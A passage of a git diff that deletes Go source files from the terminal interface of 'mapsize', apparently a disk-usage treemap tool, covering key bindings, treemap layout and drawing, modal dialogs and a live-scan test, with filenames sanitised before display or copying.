st.BrokenLinks}, - {"Hard-link dups", st.HardlinkDups}} { - if rr.v > 0 { - line(rr.k, textutil.Count(rr.v), Style{FG: t.Warn, BG: t.Bg, Attr: Bold}) - anyIssue = true - } - } - if !anyIssue { - line("None", "every entry was read", Style{FG: t.OK, BG: t.Bg}) - } - head("OPTIONS") - excl := "none" - if len(st.Excludes) > 0 { - excl = textutil.Sanitize(strings.Join(st.Excludes, ", ")) - } - line("Exclusions", excl, value) - line("One filesystem", fmt.Sprint(st.OneFileSystem), value) - line("Follow symlinks", textutil.Sanitize(st.Follow), value) - line("Size mode", m.sizeMode.String(), value) - units := "IEC (1024)" - if textutil.SI { - units = "SI (1000)" - } - line("Units", units, value) - if root.Flags&inventory.FlagAllocUnknown != 0 { - line("Note", "allocated size unavailable on this platform", Style{FG: t.Warn, BG: t.Bg}) - } - - // Error list on the right (or below in narrow terminals). - er := treemap.Rect{X: r.X + lw + 4, Y: r.Y, W: r.W - lw - 4, H: r.H} - if r.W < 100 { - er = treemap.Rect{X: r.X, Y: y + 1, W: r.W, H: r.Y + r.H - y - 1} - } - if er.W < 30 || er.H < 4 { - return - } - rows := make([]tableRow, len(st.Errors)) - for i, e := range st.Errors { - p := m.tree.Path(e.Node) - if e.Name != "" { - p += "/" + e.Name - } - rows[i] = tableRow{cells: []string{e.Kind.String(), textutil.Sanitize(p), textutil.Sanitize(e.Msg)}, - styles: []*Style{{FG: t.Err, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}}, bar: -1} - } - title := fmt.Sprintf("ERROR LIST (%s)", textutil.Count(st.TotalErrors())) - if int64(len(st.Errors)) < st.TotalErrors() { - title += fmt.Sprintf(" — first %s shown", textutil.Count(int64(len(st.Errors)))) - } - v.tb.paint(m, cv, er, []column{{"KIND", 18, false, false}, {"PATH", 0, false, true}, {"DETAIL", 22, false, false}}, rows, title) -} - -func (v *infoView) key(m *Model, k string) (bool, tea.Cmd) { - errs := m.tree.Stats.Errors - if v.tb.key(k, len(errs)) { - return true, nil - } - if v.tb.cursor < len(errs) && (k == "enter" || k == "space") { - m.jumpTo(errs[v.tb.cursor].Node) - return true, nil - } - return false, nil -} - -func (v *infoView) wheel(m *Model, up bool) tea.Cmd { - v.tb.scroll(up, len(m.tree.Stats.Errors)) - return nil -} diff --git a/internal/tui/keys.go b/internal/tui/keys.go deleted file mode 100644 index abe8951..0000000 --- a/internal/tui/keys.go +++ /dev/null @@ -1,268 +0,0 @@ -package tui - -import ( - "fmt" - "os" - "path/filepath" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// view is one of the Tab-cycled main views. -type view interface { - name() string - paint(m *Model, cv *Canvas, r treemap.Rect) - key(m *Model, k string) (bool, tea.Cmd) - wheel(m *Model, up bool) tea.Cmd -} - -func keyName(k tea.KeyPressMsg) string { - switch s := k.String(); s { - case " ": - return "space" - default: - return s - } -} - -// handleKey dispatches a key press. It holds the tree read lock for the -// whole handler; helpers it calls must not lock again (a recursive RLock -// can deadlock against a waiting writer). -func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd { - k := keyName(msg) - if k == "ctrl+c" { - return m.ctrlCPressed() - } - t := m.tree - t.RLock() - defer t.RUnlock() - m.ensureSelection() - if len(m.modals) > 0 { - return m.modalKey(msg) - } - if m.search.editing { - return m.searchKey(msg) - } - handled, cmd := m.views[m.view].key(m, k) - if handled { - return cmd - } - switch k { - case "q": - m.quit = true - case "?", "f1": - m.openModal(newHelpModal(m)) - case "/": - m.search.begin() - case "esc": - if m.search.query != nil { - m.clearFilter() - } else if m.zoom != m.tree.Root() { - m.zoomOut() - } - case "tab": - m.setView((m.view + 1) % len(m.views)) - case "shift+tab": - m.setView((m.view + len(m.views) - 1) % len(m.views)) - case "1", "2", "3", "4", "5", "6", "7": - m.setView(int(k[0] - '1')) - case "enter": - return m.inspectSelection() - case "space", "right": - return m.zoomIntoSelection() - case "backspace", "left": - m.zoomOut() - case "home": - m.zoomTo(m.tree.Root()) - case "a": - if m.sizeMode == inventory.SizeAllocated { - m.sizeMode = inventory.SizeLogical - } else { - m.sizeMode = inventory.SizeAllocated - } - m.invalidate() - var cmds []tea.Cmd - if m.search.query != nil { - cmds = append(cmds, m.applyFilter()) - } - cmds = append(cmds, m.info("Sizing by "+m.sizeMode.String()+" size")) - return tea.Batch(cmds...) - case "r": - return m.rescan() - case "s": - m.openModal(newSaveModal(m)) - case "e": - m.setViewByName("Scan") - if v, ok := m.views[m.view].(*infoView); ok { - v.focusErrors(m) - } - case "x": - m.setViewByName("Types") - case "g": - m.setViewByName("Top") - case "D": - return m.startDuplicates() - case "c": - return m.copySelected() - case "o": - return m.reveal() - case "d", "delete": - return m.requestTrash() - case "T": - names := ThemeNames() - cur := 0 - for i, n := range names { - if n == m.theme.Name { - cur = i - } - } - ascii := m.theme.ASCII - m.theme = LoadTheme(names[(cur+1)%len(names)], m.opts.Settings) - m.theme.ASCII = ascii - return m.info("Theme: " + m.theme.Name) - } - return nil -} - -func (m *Model) setViewByName(n string) { - for i, v := range m.views { - if v.name() == n { - m.setView(i) - } - } -} - -func (m *Model) inspectSelection() tea.Cmd { - if isGroup(m.sel) { - if g, ok := m.groupInfo(m.sel); ok { - m.openModal(newGroupModal(m, g)) - } - return nil - } - if id := m.selectedNode(); id != inventory.NoNode { - m.openModal(newInfoModal(m, id)) - } - return nil -} - -func (m *Model) zoomIntoSelection() tea.Cmd { - if isGroup(m.sel) { - // Groups cannot be zoomed: show their members in the list view. - if g, ok := m.groupInfo(m.sel); ok && len(g.ids) > 0 { - m.sel = int64(g.ids[0]) - m.setViewByName("List") - } - return nil - } - id := m.selectedNode() - if id == inventory.NoNode { - return nil - } - if !m.tree.Node(id).IsDir() { - return m.info("Not a directory — Enter shows details") - } - if len(m.kidsOf(id).ids) == 0 { - return m.info("Directory is empty") - } - m.zoomTo(id) - return nil -} - -func (m *Model) zoomOut() { - if p := m.tree.Node(m.zoom).Parent; p != inventory.NoNode { - m.zoomTo(p) - } -} - -// jumpTo zooms to a node's parent directory and selects it. -func (m *Model) jumpTo(id inventory.NodeID) { - p := m.tree.Node(id).Parent - if p == inventory.NoNode { - m.zoomTo(id) - return - } - m.zoomTo(p) - m.sel = int64(id) - m.setViewByName("Map") -} - -func (m *Model) selectedPath() (string, bool) { - id := m.selectedNode() - if id == inventory.NoNode { - return "", false - } - return m.tree.Path(id), true -} - -func (m *Model) copySelected() tea.Cmd { - p, ok := m.selectedPath() - if !ok { - return nil - } - return m.copyPath(p) -} - -// copyPath puts p on the clipboard (OSC 52). Paths that would not survive -// display unchanged are refused: a newline in a hostile filename runs -// commands when pasted into a shell, and bidi controls disguise them. -func (m *Model) copyPath(p string) tea.Cmd { - if textutil.Sanitize(p) != p { - return m.warn("Not copied: path contains control or bidi characters") - } - return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)")) -} - -func (m *Model) reveal() tea.Cmd { - if m.snapshot { - return m.warn("Snapshot — the files may not exist on this machine") - } - p, ok := m.selectedPath() - if !ok { - return nil - } - if platform.Headless() { - // No file manager: show the folder in the map instead. - id := m.selectedNode() - if m.tree.Node(id).IsDir() && len(m.kidsOf(id).ids) > 0 { - m.zoomTo(id) - m.setViewByName("Map") - } else { - m.jumpTo(id) - } - return m.info("Showing " + textutil.Sanitize(m.tree.Path(m.zoom))) - } - if err := platform.Reveal(p); err != nil { - return m.warn("Open failed: " + textutil.Sanitize(err.Error())) - } - return m.info("Opened in file manager") -} - -func (m *Model) saveSnapshot(path string) tea.Cmd { - t := m.tree - return func() tea.Msg { - t.RLock() - err := saveFile(path, t) - t.RUnlock() - return saveDoneMsg{path, err} - } -} - -type saveDoneMsg struct { - path string - err error -} - -func defaultSnapshotName(root string) string { - base := filepath.Base(root) - if base == string(filepath.Separator) || base == "." || base == "" { - base = "root" - } - wd, _ := os.Getwd() - return filepath.Join(wd, fmt.Sprintf("%s-%s.msz", base, time.Now().Format("20060102-1504"))) -} diff --git a/internal/tui/live_test.go b/internal/tui/live_test.go deleted file mode 100644 index 12c1a8f..0000000 --- a/internal/tui/live_test.go +++ /dev/null @@ -1,71 +0,0 @@ -package tui - -import ( - "context" - "fmt" - "os" - "path/filepath" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" -) - -// TestLiveScanRendering renders, navigates, filters and resizes while the -// scanner mutates the inventory. Run with -race to verify the locking -// discipline. -func TestLiveScanRendering(t *testing.T) { - root := t.TempDir() - for i := range 30 { - d := filepath.Join(root, fmt.Sprintf("d%02d", i), "sub") - if err := os.MkdirAll(d, 0o755); err != nil { - t.Fatal(err) - } - for j := range 40 { - os.WriteFile(filepath.Join(d, fmt.Sprintf("f%d.log", j)), make([]byte, (i+1)*(j+1)*100), 0o644) - } - } - start := func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { - s, err := scan.Start(ctx, root, scan.Options{Workers: 4, ChunkSize: 3}) - if err != nil { - return nil, nil, err - } - return s, s.Tree, nil - } - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - s, tr, err := start(ctx) - if err != nil { - t.Fatal(err) - } - m := newModel(Options{Start: start}, s, tr, cancel) - sizes := [][2]int{{120, 40}, {80, 24}, {200, 60}, {45, 12}} - deadline := time.After(20 * time.Second) - for i := 0; ; i++ { - send(m, size(sizes[i%len(sizes)][0], sizes[i%len(sizes)][1]), tickMsg(time.Now())) - send(m, key([]string{"right", "down", "left", "up"}[i%4])) - if i%5 == 0 { - send(m, key("tab")) - } - if i == 3 { - m.search.ed.set("ext = log") - m.queryChanged() - send(m, m.applyFilter()()) - } - m.dirty = true - m.View() - select { - case <-s.Done(): - send(m, scanDoneMsg{s}) - m.View() - if m.scanning { - t.Fatal("scan should be finished") - } - return - case <-deadline: - t.Fatal("scan did not finish") - default: - } - } -} diff --git a/internal/tui/mapview.go b/internal/tui/mapview.go deleted file mode 100644 index 4d9f802..0000000 --- a/internal/tui/mapview.go +++ /dev/null @@ -1,391 +0,0 @@ -package tui - -import ( - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// tmLayout is the treemap geometry for one (zoom, rect, data version). It is -// recomputed from scratch whenever any of those change — after a resize the -// layout algorithm runs again for the new rectangle rather than scaling the -// old one. -type tmLayout struct { - zoom inventory.NodeID - rect treemap.Rect - ver int - blocks []treemap.Block // top level: navigable - nested []nested // previews inside directories: drawn only - groups map[int64]*group - visible map[int64]bool - inner map[int64]bool // top-level blocks with nested previews -} - -type nested struct { - id int64 - r treemap.Rect - depth int - alt bool - inner bool // has nested children drawn inside it -} - -type group struct { - parent inventory.NodeID - ids []inventory.NodeID - size int64 -} - -// LOD parameters. -const ( - topMinArea = 12 // cells: room for a 4×3 framed block - topMaxItems = 400 - nestMinArea = 3 - nestMaxItems = 120 - maxNestDepth = 8 // block-size thresholds stop recursion long before this - nestMinW = 4 - nestMinH = 2 - nestRecurseW = 14 - nestRecurseH = 5 -) - -func (m *Model) layoutTreemap(r treemap.Rect) *tmLayout { - if l := m.tm; l != nil && l.zoom == m.zoom && l.rect == r && l.ver == m.dataVer { - return l - } - l := &tmLayout{zoom: m.zoom, rect: r, ver: m.dataVer, groups: map[int64]*group{}, visible: map[int64]bool{}, inner: map[int64]bool{}} - l.blocks = m.layoutLevel(l, m.zoom, r, topMinArea, topMaxItems) - for _, b := range l.blocks { - l.visible[b.ID] = true - if b.ID < 0 || b.W < 3 || b.H < 2 { - continue - } - if n := m.tree.Node(inventory.NodeID(b.ID)); n.IsDir() { - in := b.Inset(1) - if in.W >= nestMinW && in.H >= nestMinH { - before := len(l.nested) - m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), in, 2) - l.inner[b.ID] = len(l.nested) > before - } - } - } - m.tm = l - return l -} - -// layoutLevel lays out the children of parent in r with level-of-detail -// grouping: children too small to be useful collapse into one group block. -func (m *Model) layoutLevel(l *tmLayout, parent inventory.NodeID, r treemap.Rect, minArea, maxItems int) []treemap.Block { - k := m.kidsOf(parent) - if len(k.ids) == 0 || r.Empty() { - return nil - } - sizes := make([]float64, len(k.sizes)) - for i, s := range k.sizes { - sizes[i] = float64(s) - } - vis := treemap.Visible(sizes, float64(k.total), r.Area(), minArea, maxItems) - items := make([]treemap.Item, 0, vis+1) - for i := range vis { - items = append(items, treemap.Item{ID: int64(k.ids[i]), Size: sizes[i]}) - } - if vis < len(k.ids) { - g := &group{parent: parent, ids: k.ids[vis:]} - for _, s := range k.sizes[vis:] { - g.size += s - } - gid := groupID(parent) - l.groups[gid] = g - items = append(items, treemap.Item{ID: gid, Size: float64(g.size)}) - } - return treemap.Squarify(items, r) -} - -func (m *Model) layoutNested(l *tmLayout, parent inventory.NodeID, r treemap.Rect, depth int) { - // Deeper levels need bigger blocks to stay legible rather than noisy. - blocks := m.layoutLevel(l, parent, r, nestMinArea*(depth-1), nestMaxItems) - for i, b := range blocks { - nb := nested{id: b.ID, r: b.Rect, depth: depth, alt: i%2 == 1} - idx := len(l.nested) - l.nested = append(l.nested, nb) - if depth < maxNestDepth && b.ID >= 0 && b.W >= nestRecurseW && b.H >= nestRecurseH && - m.tree.Node(inventory.NodeID(b.ID)).IsDir() { - l.nested[idx].inner = true - m.layoutNested(l, m.chainEnd(inventory.NodeID(b.ID)), treemap.Rect{X: b.X, Y: b.Y + 1, W: b.W - 1, H: b.H - 2}, depth+1) - } - } -} - -// chainEnd follows directories whose only non-empty child is a directory -// (mnt → raid → media), so nesting spends its space on the level that -// actually branches instead of on full-size wrappers. -func (m *Model) chainEnd(id inventory.NodeID) inventory.NodeID { - for { - k := m.kidsOf(id) - if len(k.ids) != 1 || !m.tree.Node(k.ids[0]).IsDir() { - return id - } - id = k.ids[0] - } -} - -// groupInfo returns the LOD group for a group ID in the current layout. -func (m *Model) groupInfo(id int64) (*group, bool) { - if m.tm == nil { - return nil, false - } - g, ok := m.tm.groups[id] - return g, ok -} - -type mapView struct{} - -func (*mapView) name() string { return "Map" } - -func (v *mapView) paint(m *Model, cv *Canvas, r treemap.Rect) { - t := m.theme - l := m.layoutTreemap(r) - if len(l.blocks) == 0 { - msg := "Empty directory" - switch { - case m.search.query != nil: - msg = "No matches here — Esc clears the filter" - case m.scanning: - msg = "Scanning…" - case !m.tree.Node(m.zoom).IsDir(): - msg = textutil.Sanitize(m.tree.Node(m.zoom).Name) + " — " + textutil.Size(m.sizeOf(m.zoom)) - } - cv.TextCentered(r.X, r.Y+r.H/2, r.W, msg, t.muted()) - return - } - sel := m.visibleSel(l.visible) - total := m.sizeOf(m.zoom) - for _, b := range l.blocks { - m.paintTop(cv, b, b.ID == sel, b.ID == m.hover, total) - } - for _, nb := range l.nested { - m.paintNested(cv, nb) - } - for _, b := range l.blocks { - id := b.ID - m.hits = append(m.hits, hit{b.Rect, func(m *Model, double bool) tea.Cmd { return m.clickBlock(id, double) }}) - } -} - -// blockName returns a sanitised display name for a block. -func (m *Model) blockName(id int64) string { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return textutil.Count(int64(len(g.ids))) + " smaller items" - } - return "smaller items" - } - nid := inventory.NodeID(id) - n := m.tree.Node(nid) - name := textutil.Sanitize(n.Name) - if n.IsDir() && nid != m.tree.Root() { - name += "/" - for end := m.chainEnd(nid); nid != end; { - nid = m.kidsOf(nid).ids[0] - name += textutil.Sanitize(m.tree.Node(nid).Name) + "/" - } - } - return name -} - -func (m *Model) blockSize(id int64) int64 { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return g.size - } - return 0 - } - return m.sizeOf(inventory.NodeID(id)) -} - -// parentSize is the size of the folder a block sits in. -func (m *Model) parentSize(id int64) int64 { - if isGroup(id) { - if g, ok := m.groupInfo(id); ok { - return m.sizeOf(g.parent) - } - return 0 - } - if p := m.tree.Node(inventory.NodeID(id)).Parent; p != inventory.NoNode { - return m.sizeOf(p) - } - return 0 -} - -func (m *Model) paintTop(cv *Canvas, b treemap.Block, sel, hov bool, total int64) { - t := m.theme - base := m.colorOf(b.ID) - fill := base.Mix(t.Bg, 0.62) - fillCh := " " - if isGroup(b.ID) { - fillCh = "░" - if t.ASCII { - fillCh = "." - } - } - name := m.blockName(b.ID) - size := m.blockSize(b.ID) - if b.W < 3 || b.H < 2 { - // Too small for a frame: a solid tile. - st := Style{FG: base, BG: base.Mix(t.Bg, 0.3)} - ch := fillCh - if sel { - st = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - ch = "◆" - if t.ASCII { - ch = "#" - } - } else if t.Mono { - ch = "▒" - } - cv.Fill(b.Rect, " ", st) - cv.Text(b.X+(b.W-1)/2, b.Y+(b.H-1)/2, ch, 1, st) - return - } - cv.Fill(b.Rect, fillCh, Style{FG: base.Mix(t.Bg, 0.35), BG: fill}) - frame := Style{FG: base.Mix(t.Bg, 0.15), BG: fill} - box := t.box() - title := Style{FG: base.Mix(RGB(255, 255, 255), 0.35), BG: fill, Attr: Bold} - switch { - case sel: - box = t.selBox() - frame = Style{FG: t.Sel, BG: fill, Attr: Bold} - title = Style{FG: t.textOn(t.Sel), BG: t.Sel, Attr: Bold | m.monoRev()} - case hov: - frame.FG = base.Mix(RGB(255, 255, 255), 0.5) - } - if t.Mono && !sel { - title.Attr = Bold - } - cv.Box(b.Rect, box, frame) - cv.Text(b.X+1, b.Y, textutil.Truncate(" "+name+" ", b.W-2), b.W-2, title) - - label := textutil.Size(size) - if pct := textutil.Percent(size, total); b.W-2 >= textutil.Width(label)+textutil.Width(pct)+5 { - label += " · " + pct - } else if b.W-2 < textutil.Width(label)+2 { - label = textutil.SizeCompact(size) - } - label = " " + label + " " - if b.H >= 3 && textutil.Width(label) <= b.W-2 { - cv.TextRight(b.X+1, b.Y+b.H-1, b.W-2, label, Style{FG: frame.FG, BG: fill, Attr: frame.Attr}) - } - // Interior labels for blocks without nested previews. - in := b.Inset(1) - if in.Empty() || m.hasNested(b.ID) { - return - } - n := inventory.NoNode - if !isGroup(b.ID) { - n = inventory.NodeID(b.ID) - } - lines := []string{} - if n != inventory.NoNode { - nd := m.tree.Node(n) - if !nd.IsDir() { - lines = append(lines, kindLabel(m.tree, nd)) - } else if nd.Files > 0 { - lines = append(lines, textutil.Count(int64(nd.Files))+" files") - } - } - if b.H < 4 || in.W < 6 { - return - } - y0 := in.Y + (in.H-len(lines))/2 - for i, s := range lines { - cv.TextCentered(in.X, y0+i, in.W, s, Style{FG: base.Mix(t.Fg, 0.4), BG: fill}) - } -} - -func (m *Model) hasNested(id int64) bool { return m.tm != nil && m.tm.inner[id] } - -func (m *Model) paintNested(cv *Canvas, nb nested) { - t := m.theme - base := m.colorOf(nb.id) - f := max(0.38-0.1*float64(nb.depth-2), 0.1) - if nb.alt { - f += 0.07 - } - bg := base.Mix(t.Bg, f) - shadow := bg.Mix(RGB(0, 0, 0), 0.45) - st := Style{FG: t.textOn(bg), BG: bg} - ch := " " - if isGroup(nb.id) { - ch = "░" - if t.ASCII { - ch = "." - } - st.FG = bg.Mix(t.Fg, 0.25) - } - r := nb.r - cv.Fill(r, ch, st) - if t.Mono { - // No colour: draw a light outline so neighbours stay distinguishable. - if r.W >= 2 && r.H >= 2 { - cv.Box(r, BoxRound, Style{Attr: Faint}) - } - } else { - if r.W >= 4 { - cv.Fill(treemap.Rect{X: r.X + r.W - 1, Y: r.Y, W: 1, H: r.H}, " ", Style{BG: shadow}) - } - if r.H >= 3 { - cv.Fill(treemap.Rect{X: r.X, Y: r.Y + r.H - 1, W: r.W, H: 1}, " ", Style{BG: shadow}) - } - } - lw := r.W - 1 - if t.Mono { - lw = r.W - 2 - } - if lw < 5 { - return - } - lx := r.X - if t.Mono { - lx++ - } - ly := r.Y - if t.Mono && r.H >= 3 { - ly++ - } - name := m.blockName(nb.id) - if textutil.Width(name) > lw && lw < 8 { - return // a stub like "te…" is noise, not information - } - cv.Text(lx, ly, textutil.Truncate(name, lw), lw, Style{FG: st.FG, BG: bg, Attr: Bold}) - if !nb.inner && r.H >= 3 && lw >= 5 { - size := m.blockSize(nb.id) - label := textutil.SizeCompact(size) - if pct := textutil.Percent(size, m.parentSize(nb.id)); textutil.Width(label)+textutil.Width(pct)+3 <= lw { - label += " · " + pct - } - cv.Text(lx, ly+1, textutil.Truncate(label, lw), lw, Style{FG: bg.Mix(st.FG, 0.7), BG: bg}) - } -} - -func (v *mapView) key(m *Model, k string) (bool, tea.Cmd) { - dirs := map[string]treemap.Direction{"left": treemap.Left, "right": treemap.Right, "up": treemap.Up, "down": treemap.Down, - "h": treemap.Left, "l": treemap.Right, "k": treemap.Up, "j": treemap.Down} - if d, ok := dirs[k]; ok { - if l := m.tm; l != nil { - if id, ok := treemap.Neighbour(l.blocks, m.visibleSel(l.visible), d); ok { - m.sel = id - } - } - return true, nil - } - return false, nil -} - -func (v *mapView) wheel(m *Model, up bool) tea.Cmd { - if up { - return m.zoomIntoSelection() - } - m.zoomOut() - return nil -} diff --git a/internal/tui/modal.go b/internal/tui/modal.go deleted file mode 100644 index 5a0b6a7..0000000 --- a/internal/tui/modal.go +++ /dev/null @@ -1,221 +0,0 @@ -package tui - -import ( - "strings" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/treemap" -) - -// span is a run of styled text; a line is a slice of spans. -type span struct { - s string - st *Style // nil = modal default -} - -type line []span - -func txt(s string) line { return line{{s, nil}} } -func styled(s string, st Style) line { return line{{s, &st}} } -func kv(k, v string, kst, vst Style) line { return line{{textutil.PadRight(k, 18), &kst}, {v, &vst}} } - -// modal is an overlay. Modals receive all keys while open; Esc always -// closes them (handled by the frame before the modal sees it, unless the -// modal is editing text). -type modal interface { - title() string - content(m *Model, width int) []line // rebuilt every frame, so resizes reflow - footer(m *Model) string - key(m *Model, k string) (closeModal bool, cmd tea.Cmd) - width() int // preferred inner width -} - -// modalFrame wraps a modal with scroll state. -type modalFrame struct { - modal - scroll int - viewH int // content rows visible in the last paint - contentN int -} - -func (m *Model) openModal(md modal) { - m.modals = append(m.modals, &modalFrame{modal: md}) - m.dirty = true -} - -func (m *Model) closeModal() { - if len(m.modals) > 0 { - m.modals = m.modals[:len(m.modals)-1] - } - m.dirty = true -} - -// textInputModal is implemented by modals that consume printable keys. -type textInputModal interface { - editing() bool - editor() *lineEditor -} - -func (m *Model) modalKey(msg tea.KeyPressMsg) tea.Cmd { - k := keyName(msg) - f := m.modals[len(m.modals)-1].(*modalFrame) - if ti, ok := f.modal.(textInputModal); ok && ti.editing() && k != "esc" && k != "enter" { - ti.editor().key(msg) - return nil - } - if ti, ok := f.modal.(textInputModal); !ok || !ti.editing() { - page := max(f.viewH-1, 1) - switch k { - case "esc", "q": - m.closeModal() - return nil - case "up", "k": - f.scroll-- - case "down", "j": - f.scroll++ - case "pgup": - f.scroll -= page - case "pgdown", "space": - f.scroll += page - case "home": - f.scroll = 0 - case "end": - f.scroll = f.contentN - default: - goto modalSpecific - } - f.clampScroll() - return nil - } -modalSpecific: - closeIt, cmd := f.key(m, k) - if closeIt { - // Close this modal specifically (it may have opened another). - for i, x := range m.modals { - if x == f { - m.modals = append(m.modals[:i], m.modals[i+1:]...) - break - } - } - m.dirty = true - } - return cmd -} - -func (f *modalFrame) clampScroll() { - f.scroll = max(0, min(f.scroll, f.contentN-f.viewH)) -} - -// paintModal dims the base screen and draws the top modal centred, -// clamped to the terminal with a one-cell margin. Content that does not fit -// scrolls. -func (m *Model) paintModal(cv *Canvas) { - t := m.theme - // Dim everything underneath. - cv.Restyle(treemap.Rect{X: 0, Y: 0, W: cv.W, H: cv.H}, func(s Style) Style { - if t.Mono { - s.Attr |= Faint - return s - } - s.FG = s.FG.Mix(t.Bg, 0.6) - s.BG = s.BG.Mix(RGB(0, 0, 0), 0.45) - s.Attr &^= Bold - return s - }) - f := m.modals[len(m.modals)-1].(*modalFrame) - maxW := cv.W - 2 - w := min(f.width()+4, maxW) - w = max(w, min(30, maxW)) - inner := w - 4 - lines := f.content(m, inner) - foot := f.footer(m) - chrome := 4 // border top/bottom, title rule - if foot != "" { - chrome += 2 - } - h := min(len(lines)+chrome, cv.H-2) - h = max(h, min(chrome+1, cv.H)) - x0, y0 := (cv.W-w)/2, (cv.H-h)/2 - r := treemap.Rect{X: x0, Y: y0, W: w, H: h} - bg := t.PanelBg - if bg == 0 { - bg = t.Bg - } - base := Style{FG: t.Fg, BG: bg} - // Drop shadow. - if !t.Mono { - cv.Restyle(treemap.Rect{X: x0 + 1, Y: y0 + h, W: w, H: 1}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s }) - cv.Restyle(treemap.Rect{X: x0 + w, Y: y0 + 1, W: 1, H: h}, func(s Style) Style { s.BG = RGB(0, 0, 0); return s }) - } - cv.Fill(r, " ", base) - border := Style{FG: t.Accent, BG: bg, Attr: Bold} - box := BoxRound - if t.ASCII { - box = BoxASCII - } - cv.Box(r, box, border) - cv.Text(x0+2, y0+1, strings.ToUpper(f.title()), inner, Style{FG: t.Accent, BG: bg, Attr: Bold}) - rule := "─" - if t.ASCII { - rule = "-" - } - cv.HLine(x0+1, y0+2, w-2, rule, Style{FG: t.Faint, BG: bg}) - f.viewH = h - chrome - f.contentN = len(lines) - f.clampScroll() - for i := 0; i < f.viewH && f.scroll+i < len(lines); i++ { - x := x0 + 2 - for _, sp := range lines[f.scroll+i] { - st := base - if sp.st != nil { - st = *sp.st - if st.BG == 0 { - st.BG = bg - } - } - x += cv.Text(x, y0+3+i, sp.s, x0+2+inner-x, st) - } - } - if len(lines) > f.viewH && f.viewH > 0 { - ind := textutil.Count(int64(f.scroll+1)) + "–" + textutil.Count(int64(min(f.scroll+f.viewH, len(lines)))) + - "/" + textutil.Count(int64(len(lines))) - if f.scroll > 0 { - ind = "▲ " + ind - } - if f.scroll+f.viewH < len(lines) { - ind += " ▼" - } - cv.TextRight(x0+1, y0+1, w-3, ind, Style{FG: t.Muted, BG: bg}) - } - if foot != "" { - cv.HLine(x0+1, y0+h-3, w-2, rule, Style{FG: t.Faint, BG: bg}) - cv.Text(x0+2, y0+h-2, foot, inner, Style{FG: t.Muted, BG: bg}) - } - m.hits = append(m.hits[:0], hit{r, func(*Model, bool) tea.Cmd { return nil }}) -} - -// wrap breaks s into chunks of at most w cells (used for long paths). -func wrap(s string, w int) []string { - if w <= 0 { - return nil - } - var out []string - var cur strings.Builder - cw := 0 - textutil.Clusters(s, func(c string, cwid int) bool { - if cw+cwid > w { - out = append(out, cur.String()) - cur.Reset() - cw = 0 - } - cur.WriteString(c) - cw += cwid - return true - }) - if cur.Len() > 0 || len(out) == 0 { - out = append(out, cur.String()) - } - return out -} diff --git a/internal/tui/modals.go b/internal/tui/modals.go deleted file mode 100644 index b21195f..0000000 --- a/internal/tui/modals.go +++ /dev/null @@ -1,391 +0,0 @@ -package tui - -import ( - "fmt" - "io/fs" - "strings" - "time" - - tea "charm.land/bubbletea/v2" - - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/filter" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" - "github.com/andydixon/mapsize/internal/textutil" -) - -// ---- Item information ------------------------------------------------------- - -type infoModal struct { - id inventory.NodeID - btime int64 // live birth time (0 if unknown) - live bool // metadata re-read from the filesystem -} - -func newInfoModal(m *Model, id inventory.NodeID) modal { - md := &infoModal{id: id} - if !m.snapshot { - // Birth time is not kept in the inventory; read it live. - if meta, err := platform.Lstat(m.tree.Path(id)); err == nil { - md.btime, md.live = meta.BTime, true - } - } - return md -} - -func (*infoModal) width() int { return 72 } - -func (md *infoModal) title() string { return "Item information" } - -func (md *infoModal) footer(m *Model) string { - s := "Esc close · c copy path · o " + revealVerb() + " · Space go to" - if !m.opts.ReadOnly && !m.snapshot { - s += " · d " + deleteVerb() - } - return s -} - -func (md *infoModal) content(m *Model, w int) []line { - t := m.theme - tr := m.tree - n := tr.Node(md.id) - ks := Style{FG: t.Muted} - vs := Style{FG: t.Fg} - bold := Style{FG: t.Fg, Attr: Bold} - warn := Style{FG: t.Warn, Attr: Bold} - var out []line - add := func(k, v string) { out = append(out, kv(k, v, ks, vs)) } - addS := func(k, v string, st Style) { out = append(out, kv(k, v, ks, st)) } - blank := func() { out = append(out, txt("")) } - - col := m.colorOf(int64(md.id)) - title := Style{FG: col.Mix(RGB(255, 255, 255), 0.3), Attr: Bold} - for _, l := range wrap(textutil.Sanitize(n.Name), w) { - out = append(out, styled(l, title)) - } - blank() - out = append(out, styled("Path", ks)) - for _, l := range wrap(textutil.Sanitize(tr.Path(md.id)), w) { - out = append(out, styled(l, vs)) - } - if textutil.Sanitize(n.Name) != n.Name { - out = append(out, styled("Name contains control or invalid characters (shown escaped)", warn)) - } - blank() - if n.IsDir() { - addS("Total logical", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotSize), textutil.Count(n.TotSize)), bold) - addS("Total allocated", fmt.Sprintf("%s (%s bytes)", textutil.Size(n.TotAlloc), textutil.Count(n.TotAlloc)), bold) - add("Files", textutil.Count(int64(n.Files))) - add("Directories", textutil.Count(int64(n.Dirs))) - if p := n.Parent; p != inventory.NoNode { - add("Of parent", textutil.Percent(n.Total(m.sizeMode), tr.Node(p).Total(m.sizeMode))) - } - add("Of scan", textutil.Percent(n.Total(m.sizeMode), tr.Node(0).Total(m.sizeMode))) - k := m.kidsOf(md.id) - if len(k.ids) > 0 { - add("Largest 